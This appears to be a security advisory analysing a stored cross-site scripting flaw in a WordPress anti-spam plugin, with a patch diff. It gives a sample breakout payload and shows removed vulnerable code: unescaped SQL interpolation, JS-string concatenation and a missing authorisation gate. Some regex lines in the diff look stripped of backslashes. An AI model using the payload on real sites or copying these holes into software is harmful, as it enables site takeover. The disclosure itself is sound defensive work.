Published : August 14, 2026

CVE-2026-16145: Invisible Anti-Spam & CAPTCHA <= 5.1 Unauthenticated Stored Cross-Site Scripting via 'action' Parameter PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 5.1
Patched Version 5.1.1
Disclosed August 13, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-16145: The Invisible Anti-Spam & CAPTCHA — reCAPTCHA Alternative for All Forms plugin for WordPress (versions up to and including 5.1) contains an unauthenticated Stored Cross-Site Scripting (XSS) vulnerability. The vulnerability resides in the message page rendering logic where the ‘rgm_action’ field, derived from the ‘action’ parameter in an AJAX request, is output without proper JavaScript-context escaping. This allows an unauthenticated attacker to inject arbitrary web scripts that execute whenever an administrator views the message analysis page.

The root cause is the direct echo of the `rgm_action` value into inline JavaScript string literals within the `message_page` function in `includes/class-message-page.php`. Specifically, at lines 740-749, the raw `$rgm_action` variable is concatenated into the `onSubmit` attribute of two forms: `onSubmit=”saveListParameter(event, ‘” . $rgm_action . “‘, …)”`. The `$rgm_action` value is escaped with `esc_attr()` at line 671, which is intended for HTML attributes, not for JavaScript strings. The browser HTML-decodes the entities (like `'` for a single quote) before the JavaScript engine parses the handler, allowing a quote in the action value to break out of the JavaScript string literal and inject arbitrary code. The action value itself is stored by an unauthenticated AJAX request. The plugin’s `run()` method registers actions from an explicit-actions list, automatically populated for common form builders. When an unauthenticated request to `admin-ajax.php` includes an `action` parameter matching one in this list, the plugin stores the request data, including the malicious `action` value, without sanitization.

An attacker does not require authentication. The attack vector is an HTTP POST request to `wp-admin/admin-ajax.php`. The attacker must set the `action` parameter to a valid plugin action, such as the default ‘contact-form-7′ or a similar pre-populated entry, to reach the data-storing code path. The stored payload is the malicious `action` value itself, containing an XSS vector. A successful payload was likely a string like `action=valid_action_name&something=value` where the `action` value is something like `legit_action’ onmouseover=”alert(1)” ‘`. This value is stored in the database. When an administrator later views the message page, the plugin renders the captured submissions. The vulnerable code outputs the malicious `action` value into the `onSubmit` handler, breaking out of the string and executing the injected script.

The patch addresses the issue in `includes/class-message-page.php`. The key change is at line 672, where a new variable `$rgm_action_js` is introduced. This variable is set to `esc_js( $message->rgm_action )`. The `esc_js()` function is specifically designed to escape strings for safe inclusion in JavaScript, encoding characters like quotes, backslashes, and newlines. The two `onSubmit` handlers at lines 743 and 747 are then updated to use `$rgm_action_js` instead of the HTML-escaped `$rgm_action`. This ensures the value is safely embedded within the JavaScript string context, preventing the injection. The patch also includes numerous other hardening measures, such as capability checks (`manage_options`) on various AJAX callbacks and the admin page rendering, addressing a broader class of authorization issues.

If exploited, this vulnerability allows an unauthenticated attacker to inject arbitrary client-side scripts. When an administrator navigates to the plugin’s message analysis page, the script executes in their browser session. The impact is significant as a full administrator session is at risk. An attacker can use this to perform any administrative action, such as creating a new admin user, uploading malicious plugins, modifying site configuration, or exfiltrating sensitive data. The CVSS score of 7.2 reflects the high impact and the low complexity of the attack, which requires no privileges.

This vulnerability is distinct from the reflected XSS vector fixed by the same patch. The stored nature of the payload here means the attack is triggered when a legitimate user (the admin) views a page, making it a stealthy and persistent risk.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/gdpr-compliant-recaptcha-for-all-forms/includes/class-analysis.php
+++ b/gdpr-compliant-recaptcha-for-all-forms/includes/class-analysis.php
@@ -58,6 +58,15 @@
 	 */
 	public function get_patterns() {

+		// Same CSRF + capability gate as the other direct-analysis endpoints. The
+		// hook-time gate in run() only registers this action for manage_options users,
+		// but relying on that alone is fragile (any refactor of run() reopens it) and a
+		// callback without check_ajax_referer is a certain review finding — it returns
+		// the full spam-detection configuration.
+		if ( ! current_user_can( 'manage_options' ) || ! check_ajax_referer( self::STORE_NONCE_ACTION, '_ajax_nonce', false ) ) {
+			wp_send_json_error( array( 'error_message' => __( 'Unauthorized request!', 'gdpr-compliant-recaptcha-for-all-forms' ) ) );
+		}
+
 		$existing_pattern       = get_option( Option::POW_PARAMETER_PATTERN );
 		$existing_lines_pattern = null;
 		$existing_action        = get_option( Option::POW_EXPLICIT_ACTION );
@@ -97,9 +106,17 @@
 			);
 		}

-		// Get whitelisting parameters
-		$pattern  = stripslashes( sanitize_text_field( $_POST['key'] ) );
-		$standard = filter_var( $_POST['standard'], FILTER_VALIDATE_BOOLEAN );
+		// Get whitelisting parameters. Consistent with Message_Page::save_pattern_callback():
+		// wp_unslash() before sanitize; guard against a blank line, which would make
+		// Option::get_rows() build "WHERE  GROUP BY" (empty OR-list) and throw a SQL error
+		// on every message page.
+		$pattern  = isset( $_POST['key'] ) ? sanitize_text_field( wp_unslash( $_POST['key'] ) ) : '';
+		$standard = isset( $_POST['standard'] ) ? filter_var( wp_unslash( $_POST['standard'] ), FILTER_VALIDATE_BOOLEAN ) : false;
+
+		if ( '' === $pattern ) {
+			wp_send_json_error( array( 'error_message' => __( 'Empty pattern.', 'gdpr-compliant-recaptcha-for-all-forms' ) ) );
+			exit;
+		}

 		$existing_option = null;
 		if ( $standard ) {
--- a/gdpr-compliant-recaptcha-for-all-forms/includes/class-gibberish-detector.php
+++ b/gdpr-compliant-recaptcha-for-all-forms/includes/class-gibberish-detector.php
@@ -1,4 +1,9 @@
 <?php
+
+namespace VENDORRECAPTCHA_GDPR_COMPLIANT;
+
+defined( 'ABSPATH' ) || die( 'Are you ok?' );
+
 /**
  * Pure, WordPress-independent gibberish detection (BACKLOG "Gibberish-Erkennung:
  * Binnen-Case-Wechsel-Regel").
@@ -72,13 +77,7 @@
  * is the only caller on the server side.
  *
  * @package gdpr-compliant-recaptcha-for-all-forms
- */
-
-namespace VENDORRECAPTCHA_GDPR_COMPLIANT;
-
-defined( 'ABSPATH' ) || die( 'Are you ok?' );
-
-/**
+ *
  * Stateless gibberish-token/-message detection.
  */
 final class Gibberish_Detector {
--- a/gdpr-compliant-recaptcha-for-all-forms/includes/class-message-page.php
+++ b/gdpr-compliant-recaptcha-for-all-forms/includes/class-message-page.php
@@ -66,7 +66,7 @@
 			$page = add_menu_page(
 				$main_menu_entry,
 				$main_menu_entry . $this->entry_counter( $overall_count ),
-				'edit_pages',
+				'manage_options',
 				Option::PREFIX . 'messages',
 				array( $this, 'message_page' ),
 				'dashicons-email-alt2',
@@ -78,7 +78,7 @@
 				Option::PREFIX . 'messages',
 				$messages_menu_entry,
 				$messages_menu_entry . $this->entry_counter( $messages_count ),
-				'edit_pages',
+				'manage_options',
 				Option::PREFIX . 'messages',
 				array( $this, 'message_page' )
 			);
@@ -88,7 +88,7 @@
 				Option::PREFIX . 'messages',
 				$spam_menu_entry,
 				$spam_menu_entry . $this->entry_counter( $spam_count ),
-				'edit_pages',
+				'manage_options',
 				Option::PREFIX . 'spam',
 				array( $this, 'spam_page' )
 			);
@@ -98,7 +98,7 @@
 				Option::PREFIX . 'messages',
 				$trash_menu_entry,
 				$trash_menu_entry . $this->entry_counter( $trash_count ),
-				'edit_pages',
+				'manage_options',
 				Option::PREFIX . 'trash',
 				array( $this, 'trash_page' )
 			);
@@ -108,7 +108,7 @@
 				Option::PREFIX . 'messages',
 				$analyse_menu_entry,
 				$analyse_menu_entry . $this->entry_counter( $analyse_count ),
-				'edit_pages',
+				'manage_options',
 				Option::PREFIX . 'analyse',
 				array( $this, 'analyse_page' )
 			);
@@ -156,10 +156,10 @@
 			4 => __( 'Analytic Box', 'gdpr-compliant-recaptcha-for-all-forms' ),
 		);
 		$search = null;
-		// phpcs:ignore WordPress.Security.NonceVerification.Missing -- capability-gated admin page load (edit_pages); read-only display filter, no state change.
+		// phpcs:ignore WordPress.Security.NonceVerification.Missing -- capability-gated admin page load (manage_options); read-only display filter, no state change.
 		if ( array_key_exists( 'search', $_POST ) ) {
 			// phpcs:ignore WordPress.Security.NonceVerification.Missing -- see above; sanitized read of the search term for listing only.
-			$search = filter_var( $_POST['search'], FILTER_UNSAFE_RAW );
+			$search = sanitize_text_field( wp_unslash( $_POST['search'] ) );
 		}
 		$rows = Option::get_rows( $search, $message_type );
 		$this->show_evaluation_request( $message_type, $rows );
@@ -295,7 +295,7 @@
 			$message_type  = filter_var( $_POST['messageType'], FILTER_SANITIZE_NUMBER_INT );
 			$message_id    = filter_var( $_POST['messageID'], FILTER_SANITIZE_NUMBER_INT );
 			$message_nonce = filter_var( $_POST['message_nonce'], FILTER_UNSAFE_RAW );
-			if ( ! wp_verify_nonce( $message_nonce, 'get-detail-' . $message_id . $message_type ) ) {
+			if ( ! current_user_can( 'manage_options' ) || ! wp_verify_nonce( $message_nonce, 'get-detail-' . $message_id . $message_type ) ) {
 				$array_result = array(
 					'success'       => 0,
 					'error_message' => __( 'Render action is invalid!', 'gdpr-compliant-recaptcha-for-all-forms' ),
@@ -390,11 +390,14 @@
 	/** List Ajax-Action*/
 	public function save_list_parameter_callback() {

-		// Überprüfen der Sicherheitsnonce
-		$message_type   = filter_var( $_POST['messageType'], FILTER_VALIDATE_INT );
-		$security_nonce = filter_var( $_POST['security_nonce'], FILTER_UNSAFE_RAW );
+		// Check capability + security nonce. Editing the explicit-actions / hide lists
+		// writes plugin configuration, so require manage_options (consistent with
+		// block_value_callback and save_pattern_callback), not merely the edit_pages
+		// the admin page is rendered under.
+		$message_type   = filter_var( isset( $_POST['messageType'] ) ? wp_unslash( $_POST['messageType'] ) : '', FILTER_VALIDATE_INT );
+		$security_nonce = isset( $_POST['security_nonce'] ) ? filter_var( wp_unslash( $_POST['security_nonce'] ), FILTER_UNSAFE_RAW ) : '';

-		if ( ! wp_verify_nonce( $security_nonce, 'save_list_nonce_' . $message_type ) ) {
+		if ( ! current_user_can( 'manage_options' ) || ! wp_verify_nonce( $security_nonce, 'save_list_nonce_' . $message_type ) ) {
 			$array_result = array(
 				'error_message' => __( 'Unauthorized request!', 'gdpr-compliant-recaptcha-for-all-forms' ),
 			);
@@ -403,9 +406,9 @@
 		}

 		// Get whitelisting parameters
-		$list_key = sanitize_text_field( $_POST['listKey'] );
+		$list_key = isset( $_POST['listKey'] ) ? sanitize_text_field( wp_unslash( $_POST['listKey'] ) ) : '';
 		// Sanitize the boolean using filter_var()
-		$hide = filter_var( $_POST['hide'], FILTER_VALIDATE_BOOLEAN );
+		$hide = isset( $_POST['hide'] ) ? filter_var( wp_unslash( $_POST['hide'] ), FILTER_VALIDATE_BOOLEAN ) : false;

 		$existing_option = null;
 		if ( $hide ) {
@@ -442,11 +445,15 @@
 	/** Save Pattern*/
 	public function save_pattern_callback() {

-		// Check security nonce
-		$message_type   = filter_var( $_POST['messageType'], FILTER_VALIDATE_INT );
-		$security_nonce = filter_var( $_POST['security_nonce'], FILTER_UNSAFE_RAW );
+		// Check capability + security nonce. Managing spam patterns writes plugin
+		// configuration, so require manage_options (not merely the edit_pages the
+		// admin page is rendered under) — this narrows the SQLi attack surface from
+		// Editor+ to admins (CVE-2026-16094 / CVE-2026-16146, defense in depth on top
+		// of the esc_sql() at the LIKE sinks in Option::get_rows()/get_messages()).
+		$message_type   = filter_var( isset( $_POST['messageType'] ) ? wp_unslash( $_POST['messageType'] ) : '', FILTER_VALIDATE_INT );
+		$security_nonce = isset( $_POST['security_nonce'] ) ? filter_var( wp_unslash( $_POST['security_nonce'] ), FILTER_UNSAFE_RAW ) : '';

-		if ( ! wp_verify_nonce( $security_nonce, 'save_pattern_nonce_' . $message_type ) ) {
+		if ( ! current_user_can( 'manage_options' ) || ! wp_verify_nonce( $security_nonce, 'save_pattern_nonce_' . $message_type ) ) {
 			$array_result = array(
 				'error_message' => __( 'Unauthorized request!', 'gdpr-compliant-recaptcha-for-all-forms' ),
 			);
@@ -454,9 +461,11 @@
 			exit;
 		}

-		// Get whitelisting parameters
-		$pattern = stripslashes( sanitize_text_field( $_POST['key'] ) );
-		$hide    = filter_var( $_POST['hide'], FILTER_VALIDATE_BOOLEAN );
+		// Get whitelisting parameters. wp_unslash() reverses WordPress' magic-quote
+		// slashing so the stored JSON pattern stays valid; sanitize_text_field()
+		// cleans it. The SQL safety itself is enforced at the LIKE sinks via esc_sql().
+		$pattern = isset( $_POST['key'] ) ? sanitize_text_field( wp_unslash( $_POST['key'] ) ) : '';
+		$hide    = isset( $_POST['hide'] ) ? filter_var( wp_unslash( $_POST['hide'] ), FILTER_VALIDATE_BOOLEAN ) : false;

 		$existing_option = null;
 		if ( $hide ) {
@@ -577,10 +586,12 @@
 			exit;
 		} else {

-			$search       = filter_var( $_POST['search'], FILTER_UNSAFE_RAW );
-			$message_type = filter_var( $_POST['messageType'], FILTER_VALIDATE_INT );
-			$search_nonce = filter_var( $_POST['search_nonce'], FILTER_UNSAFE_RAW );
-			if ( ! wp_verify_nonce( $search_nonce, 'render-messages_' . $message_type ) ) {
+			$search       = sanitize_text_field( wp_unslash( $_POST['search'] ) );
+			$message_type = filter_var( wp_unslash( $_POST['messageType'] ), FILTER_VALIDATE_INT );
+			$search_nonce = filter_var( wp_unslash( $_POST['search_nonce'] ), FILTER_UNSAFE_RAW );
+			// A nonce guards against CSRF but is not an authorisation check; this page
+			// exposes captured submissions (incl. personal data), so require manage_options.
+			if ( ! current_user_can( 'manage_options' ) || ! wp_verify_nonce( $search_nonce, 'render-messages_' . $message_type ) ) {
 				$array_result = array(
 					'success'       => 0,
 					'error_message' => __( 'Multiple render action is invalid!', 'gdpr-compliant-recaptcha-for-all-forms' ),
@@ -588,12 +599,12 @@
 				wp_send_json( $array_result );
 				exit;
 			}
-			$this->listed_actions    = isset( $_POST['listedActions'] ) ? $_POST['listedActions'] : null;
-			$this->listed_patterns   = isset( $_POST['listedPatterns'] ) ? $_POST['listedPatterns'] : null;
-			$this->whitelisted_sites = isset( $_POST['whitelistedSites'] ) ? $_POST['whitelistedSites'] : null;
-			$this->whitelisted_ips   = isset( $_POST['whitelistedIPs'] ) ? $_POST['whitelistedIPs'] : null;
-			$this->hidden_actions    = isset( $_POST['hiddenActions'] ) ? $_POST['hiddenActions'] : null;
-			$this->hidden_patterns   = isset( $_POST['hiddenPatterns'] ) ? $_POST['hiddenPatterns'] : null;
+			$this->listed_actions    = isset( $_POST['listedActions'] ) ? filter_var( wp_unslash( $_POST['listedActions'] ), FILTER_VALIDATE_BOOLEAN ) : null;
+			$this->listed_patterns   = isset( $_POST['listedPatterns'] ) ? filter_var( wp_unslash( $_POST['listedPatterns'] ), FILTER_VALIDATE_BOOLEAN ) : null;
+			$this->whitelisted_sites = isset( $_POST['whitelistedSites'] ) ? filter_var( wp_unslash( $_POST['whitelistedSites'] ), FILTER_VALIDATE_BOOLEAN ) : null;
+			$this->whitelisted_ips   = isset( $_POST['whitelistedIPs'] ) ? filter_var( wp_unslash( $_POST['whitelistedIPs'] ), FILTER_VALIDATE_BOOLEAN ) : null;
+			$this->hidden_actions    = isset( $_POST['hiddenActions'] ) ? filter_var( wp_unslash( $_POST['hiddenActions'] ), FILTER_VALIDATE_BOOLEAN ) : null;
+			$this->hidden_patterns   = isset( $_POST['hiddenPatterns'] ) ? filter_var( wp_unslash( $_POST['hiddenPatterns'] ), FILTER_VALIDATE_BOOLEAN ) : null;
 		}

 		$existing_actions_list  = get_option( Option::POW_EXPLICIT_ACTION );
@@ -657,14 +668,26 @@
 			$rgm_date   = esc_attr( $message->rgm_date );
 			$rgm_ajax   = esc_attr( $message->rgm_ajax );
 			$rgm_action = esc_attr( $message->rgm_action );
-			$rgm_ip     = esc_attr( $message->rgm_ip );
-			$rgm_site   = esc_attr( $message->rgm_site );
+			// Separate JS-string-safe escaping for the value emitted inside the
+			// single-quoted argument of the inline onSubmit handlers below. esc_attr()
+			// only encodes for the HTML-attribute layer; the browser HTML-decodes
+			// ' back to ' before the JS engine parses the handler, so a quote in
+			// rgm_action would break out of the JS string. esc_js() escapes the quote
+			// for the JS-string context (CVE-2026-16145).
+			$rgm_action_js = esc_js( $message->rgm_action );
+			$rgm_ip        = esc_attr( $message->rgm_ip );
+			$rgm_site      = esc_attr( $message->rgm_site );

 			$message_details       = $this->get_message_details( $rgm_id, $message_type );
 			$message_details_array = Option::convert_to_json_object( $message_details, 'rgd_attribute', 'rgd_value' );

-			// Check, whether the whitelisting-parameter already exists
-			$action_listed    = trim( $rgm_action ) && in_array( trim( $rgm_action ), $existing_actions_lines, true );
+			// Check, whether the whitelisting-parameter already exists. Compare the RAW
+			// action against the raw option lines: $rgm_action is esc_attr()-encoded, so
+			// an action containing & or ' (e.g. "a&b") would never match its own stored
+			// line and the "Enhance spam check"/"Hide action" buttons would keep
+			// reappearing after listing it.
+			$rgm_action_raw   = trim( (string) $message->rgm_action );
+			$action_listed    = '' !== $rgm_action_raw && in_array( $rgm_action_raw, $existing_actions_lines, true );
 			$site_whitelisted = trim( $rgm_site ) && in_array( trim( $rgm_site ), $existing_whitelist_sites_lines, true );
 			$ip_whitelisted   = trim( $rgm_ip ) && in_array( trim( $rgm_ip ), $existing_whitelist_ips_lines, true );
 			$html            .= '
@@ -717,13 +740,13 @@
 			if ( $rgm_ajax && $rgm_action && ! $action_listed ) {
 				$html .= '
                     <td>
-                    <form id="whiteList' . $rgm_id . '" onSubmit="saveListParameter(event, '' . $rgm_action . '', 'list_Button_' . $rgm_id . '', false);">
+                    <form id="whiteList' . $rgm_id . '" onSubmit="saveListParameter(event, '' . $rgm_action_js . '', 'list_Button_' . $rgm_id . '', false);">
                         <input type="hidden" name="messsageID" id="messsageID" value="' . $rgm_id . '" />
                         <input type="submit" id="list_Button_' . $rgm_id . '" class="listButton button-primary" name="listButton" value="' . __( 'Enhance spam check on type of action', 'gdpr-compliant-recaptcha-for-all-forms' ) . '" />
                     </form>
                     </td>
                     <td>
-                    <form id="hideList' . $rgm_id . '" onSubmit="saveListParameter(event, '' . $rgm_action . '', 'hide_Button_' . $rgm_id . '', true);">
+                    <form id="hideList' . $rgm_id . '" onSubmit="saveListParameter(event, '' . $rgm_action_js . '', 'hide_Button_' . $rgm_id . '', true);">
                         <input type="hidden" name="messsageID" id="messsageID" value="' . $rgm_id . '" />
                         <input type="submit" id="hide_Button_' . $rgm_id . '" class="hideButton button-primary" name="hideButton" value="' . __( 'Hide action', 'gdpr-compliant-recaptcha-for-all-forms' ) . '" />
                     </form>
@@ -863,9 +886,9 @@
 			$conditions = array();
 			foreach ( $pattern as $param_path => $value ) {
 				if ( null === $value ) {
-					$conditions[] = "(rgd.rgd_attribute LIKE '{$param_path}')";
+					$conditions[] = "(rgd.rgd_attribute LIKE '" . esc_sql( $param_path ) . "')";
 				} else {
-					$conditions[] = "(rgd.rgd_attribute LIKE '{$param_path}' AND rgd.rgd_value = '{$value}')";
+					$conditions[] = "(rgd.rgd_attribute LIKE '" . esc_sql( $param_path ) . "' AND rgd.rgd_value = '" . esc_sql( $value ) . "')";
 				}
 			}

@@ -884,9 +907,9 @@
 			$conditions = array();
 			foreach ( $pattern as $param_path => $value ) {
 				if ( null === $value ) {
-					$conditions[] = "(rgd.rgd_attribute LIKE '{$param_path}')";
+					$conditions[] = "(rgd.rgd_attribute LIKE '" . esc_sql( $param_path ) . "')";
 				} else {
-					$conditions[] = "(rgd.rgd_attribute LIKE '{$param_path}' AND rgd.rgd_value = '{$value}')";
+					$conditions[] = "(rgd.rgd_attribute LIKE '" . esc_sql( $param_path ) . "' AND rgd.rgd_value = '" . esc_sql( $value ) . "')";
 				}
 			}

@@ -961,10 +984,26 @@

 		global $wpdb;
 		$message;
-		$message_type = filter_var( $_POST['messageType'], FILTER_VALIDATE_INT );
+		$message_type   = filter_var( wp_unslash( $_POST['messageType'] ), FILTER_VALIDATE_INT );
+		$security_nonce = filter_var( wp_unslash( $_POST['search_nonce'] ), FILTER_UNSAFE_RAW );
+
+		// Authorisation + CSRF gate BEFORE any DELETE. The "delete all" branch below
+		// runs whenever $_POST['messages'] is not a valid JSON array, so a missing or
+		// blank messages param must never reach a DELETE without a verified capability
+		// and nonce. Previously only the presence of search_nonce was checked (its value
+		// was first verified in the closing render_messages() call — after the delete),
+		// which let any logged-in user (down to Subscriber) wipe a whole message type.
+		// The search_nonce is the same 'render-messages_' . $message_type token that the
+		// closing render_messages() already requires, so the admin UI keeps working.
+		if ( ! current_user_can( 'manage_options' )
+			|| ! wp_verify_nonce( $security_nonce, 'render-messages_' . $message_type ) ) {
+			wp_send_json_error( array( 'error_message' => __( 'Unauthorized request!', 'gdpr-compliant-recaptcha-for-all-forms' ) ) );
+			exit;
+		}
+
 		$wpdb->query( 'START TRANSACTION' );
-		// phpcs:ignore WordPress.Security.NonceVerification.Missing -- each decoded message carries its own deleteNonce, verified per item at wp_verify_nonce() below.
-		$array_variable = json_decode( stripslashes( $_POST['messages'] ) );
+		$raw_messages   = isset( $_POST['messages'] ) ? wp_unslash( $_POST['messages'] ) : '';
+		$array_variable = json_decode( $raw_messages );

 		if ( $array_variable ) {
 			foreach ( $array_variable as $raw_message ) {
@@ -1050,10 +1089,21 @@

 		global $wpdb;
 		$message;
-		$message_type = filter_var( $_POST['messageType'], FILTER_VALIDATE_INT );
-		$change_type  = filter_var( $_POST['changeType'], FILTER_VALIDATE_INT );
-		// phpcs:ignore WordPress.Security.NonceVerification.Missing -- each decoded message carries its own moveNonce, verified per item at wp_verify_nonce() below.
-		$array_variable = json_decode( stripslashes( $_POST['messages'] ) );
+		$message_type   = filter_var( wp_unslash( $_POST['messageType'] ), FILTER_VALIDATE_INT );
+		$change_type    = filter_var( wp_unslash( $_POST['changeType'] ), FILTER_VALIDATE_INT );
+		$security_nonce = filter_var( wp_unslash( $_POST['search_nonce'] ), FILTER_UNSAFE_RAW );
+
+		// Authorisation + CSRF gate before any state change. Per-item moveNonce is still
+		// verified in the loop below, but the top-level search_nonce was previously only
+		// checked for presence, not validity, and no capability was required.
+		if ( ! current_user_can( 'manage_options' )
+			|| ! wp_verify_nonce( $security_nonce, 'render-messages_' . $message_type ) ) {
+			wp_send_json_error( array( 'error_message' => __( 'Unauthorized request!', 'gdpr-compliant-recaptcha-for-all-forms' ) ) );
+			exit;
+		}
+
+		$raw_messages   = isset( $_POST['messages'] ) ? wp_unslash( $_POST['messages'] ) : '';
+		$array_variable = json_decode( $raw_messages );

 		foreach ( $array_variable as $raw_message ) {
 			parse_str( $raw_message, $message );
--- a/gdpr-compliant-recaptcha-for-all-forms/includes/class-option.php
+++ b/gdpr-compliant-recaptcha-for-all-forms/includes/class-option.php
@@ -312,9 +312,9 @@
 			$conditions = array();
 			foreach ( $pattern as $param_path => $value ) {
 				if ( null === $value ) {
-					$conditions[] = "(rgd.rgd_attribute LIKE '{$param_path}')";
+					$conditions[] = "(rgd.rgd_attribute LIKE '" . esc_sql( $param_path ) . "')";
 				} else {
-					$conditions[] = "(rgd.rgd_attribute LIKE '{$param_path}' AND rgd.rgd_value = '{$value}')";
+					$conditions[] = "(rgd.rgd_attribute LIKE '" . esc_sql( $param_path ) . "' AND rgd.rgd_value = '" . esc_sql( $value ) . "')";
 				}
 			}

@@ -333,9 +333,9 @@
 			$conditions = array();
 			foreach ( $pattern as $param_path => $value ) {
 				if ( null === $value ) {
-					$conditions[] = "(rgd.rgd_attribute LIKE '{$param_path}')";
+					$conditions[] = "(rgd.rgd_attribute LIKE '" . esc_sql( $param_path ) . "')";
 				} else {
-					$conditions[] = "(rgd.rgd_attribute LIKE '{$param_path}' AND rgd.rgd_value = '{$value}')";
+					$conditions[] = "(rgd.rgd_attribute LIKE '" . esc_sql( $param_path ) . "' AND rgd.rgd_value = '" . esc_sql( $value ) . "')";
 				}
 			}

--- a/gdpr-compliant-recaptcha-for-all-forms/includes/class-settings-menu.php
+++ b/gdpr-compliant-recaptcha-for-all-forms/includes/class-settings-menu.php
@@ -1297,6 +1297,16 @@
 					$post_value = filter_input( INPUT_POST, $key, $this->get_option_filter( $type ) );
 				}

+				// The fail2ban log path is a filesystem location the plugin writes to. On
+				// multisite a plain site admin (manage_options) must not be able to aim it
+				// at an arbitrary path — restrict that to super admins — and reject path
+				// traversal on any install. An invalid value is left unchanged (the old
+				// path stays), never silently redirected.
+				if ( Option::POW_FAIL_2_BAN_PATH === $key && ! empty( $post_value )
+					&& ( ( is_multisite() && ! is_super_admin() ) || 0 !== validate_file( (string) $post_value ) ) ) {
+					continue;
+				}
+
 				if ( Option::BOOL === $type && ( null === $post_value || false === $post_value ) ) {
 					// Checkbox unchecked: persist an explicit '0' instead of
 					// delete_option(). Bestand: delete_option() + the options-matrix
--- a/gdpr-compliant-recaptcha-for-all-forms/includes/class-stamp.php
+++ b/gdpr-compliant-recaptcha-for-all-forms/includes/class-stamp.php
@@ -767,12 +767,23 @@
 		if ( $this->plugin_spam && ! $quarantine_only_spam ) {
 			// Hook into failed login attempts in WordPress
 			if ( isset( $this->whole_request_data ['wp-submit'] ) || ( isset( $this->whole_request_data ['log'] ) && isset( $this->whole_request_data ['pwd'] ) ) ) {
-				$username = $this->whole_request_data ['log'] ?? 'unknown_user';
-				$this->log_fail2ban_event( "Failed login attempt for user '$username' from IP " . $_SERVER['REMOTE_ADDR'], true );
-			}
-
-			// Logging a general spam-related event
-			$this->log_fail2ban_event( 'Possible spam attempt from IP ' . $_SERVER['REMOTE_ADDR'] );
+				// The submitted login name is unauthenticated attacker input. Without
+				// strict sanitisation a value containing CR/LF would forge extra fail2ban
+				// log lines (e.g. an "<34>… auth: Failed login … from IP 8.8.8.8" line),
+				// letting an attacker get arbitrary IPs banned. sanitize_user(strict)
+				// drops everything outside a safe whitelist; the length is capped too.
+				$username = ( isset( $this->whole_request_data ['log'] ) && is_string( $this->whole_request_data ['log'] ) )
+					? substr( sanitize_user( wp_unslash( $this->whole_request_data ['log'] ), true ), 0, 60 )
+					: '';
+				if ( '' === $username ) {
+					$username = 'unknown_user';
+				}
+				$this->log_fail2ban_event( "Failed login attempt for user '$username' from IP " . $this->get_client_ip(), true );
+			}
+
+			// Logging a general spam-related event. Use the validated client IP (honours
+			// the trusted-proxy list), never the raw REMOTE_ADDR.
+			$this->log_fail2ban_event( 'Possible spam attempt from IP ' . $this->get_client_ip() );
 		}

 		// If spam shall be blocked and message is spam. This applies to EVERY spam
@@ -838,10 +849,20 @@
 		// Generate timestamp in ISO 8601 format (UTC)
 		// phpcs:ignore WordPress.DateTime.RestrictedFunctions.date_date -- fail2ban log timestamp; behaviour deliberately preserved (existing logs/filters parse this exact server-local format), so no gmdate() switch.
 		$timestamp     = date( 'Y-m-dTH:i:sZ' );
-		$hostname      = $_SERVER['SERVER_NAME'] ?? 'unknown_host'; // Get the server hostname
+		$hostname      = isset( $_SERVER['SERVER_NAME'] ) ? sanitize_text_field( wp_unslash( $_SERVER['SERVER_NAME'] ) ) : 'unknown_host'; // Get the server hostname
 		$priority_spam = '<42>'; // Priority for spam logs
 		$priority_auth = '<34>'; // Priority for authentication logs

+		// Defence in depth: fail2ban parses one event per line, so nothing interpolated
+		// into a line may carry CR/LF or other control characters (log-injection → forged
+		// ban lines). Callers already sanitise the username, but normalise here as well,
+		// and restrict the hostname (Host header on a misconfigured vhost) to safe chars.
+		$message  = preg_replace( '/[x00-x1Fx7F]+/', ' ', (string) $message );
+		$hostname = preg_replace( '/[^A-Za-z0-9.-:_]/', '', $hostname );
+		if ( '' === (string) $hostname ) {
+			$hostname = 'unknown_host';
+		}
+
 		// Create the spam log entry (always logged)
 		$spam_log_entry = sprintf( "%s%s %s spam: %sn", $priority_spam, $timestamp, $hostname, $message );
 		// phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_file_put_contents -- fail2ban needs an atomic append (FILE_APPEND | LOCK_EX) to a plain log file; WP_Filesystem has no append+lock equivalent.
@@ -967,12 +988,20 @@
 				$posted_site = $_SERVER['HTTP_HOST'] . preg_replace( '/^(https?://)/i', '', $_SERVER['REQUEST_URI'] );
 			}
 			$forbidden_fields = array();
-			if ( isset( $fields['hashPWFields'] ) ) {
+			// is_string()/is_array() guards: hashPWFields is unauthenticated request
+			// input. Passing an array (hashPWFields[]=x) to base64_decode() is a fatal
+			// TypeError on PHP 8, and iterating a non-array json_decode() result raises
+			// warnings — both are unauthenticated DoS/log-noise vectors here.
+			if ( isset( $fields['hashPWFields'] ) && is_string( $fields['hashPWFields'] ) ) {
 				// phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_decode -- benign: hashPWFields is the plugin's own base64-encoded password-field skip list (client twin in recaptcha-gdpr-analysis.js), not obfuscated code.
 				$decoded_values = json_decode( base64_decode( $fields['hashPWFields'] ), true );
-				foreach ( $decoded_values as $decoded_value ) {
-					foreach ( $decoded_value as $forbidden_key => $forbidden_field ) {
-						$forbidden_fields[ $forbidden_key ] = $forbidden_field;
+				if ( is_array( $decoded_values ) ) {
+					foreach ( $decoded_values as $decoded_value ) {
+						if ( is_array( $decoded_value ) ) {
+							foreach ( $decoded_value as $forbidden_key => $forbidden_field ) {
+								$forbidden_fields[ $forbidden_key ] = $forbidden_field;
+							}
+						}
 					}
 				}
 			}
@@ -1426,13 +1455,15 @@
 			$client_difficulty = filter_var( $fields['hashDifficulty'], FILTER_SANITIZE_NUMBER_INT );
 		}

-		// The same holds for the nonce
-		if ( ctype_digit( $fields['hashNonce'] ?? '' ) ) {
+		// The same holds for the nonce. is_string() guard: a posted hashNonce[] array
+		// would make ctype_digit() a fatal TypeError on PHP 8 (unauthenticated).
+		if ( is_string( $fields['hashNonce'] ?? '' ) && ctype_digit( $fields['hashNonce'] ?? '' ) ) {
 			$nonce = filter_var( $fields['hashNonce'], FILTER_SANITIZE_NUMBER_INT );
 		}

-		// Validation of IP
-		if ( ! empty( $fields['clientIP'] ) ) {
+		// Validation of IP. is_string() guard: a posted clientIP[] array would make
+		// trim() a fatal TypeError on PHP 8 (unauthenticated) — treat it as absent.
+		if ( ! empty( $fields['clientIP'] ) && is_string( $fields['clientIP'] ) ) {
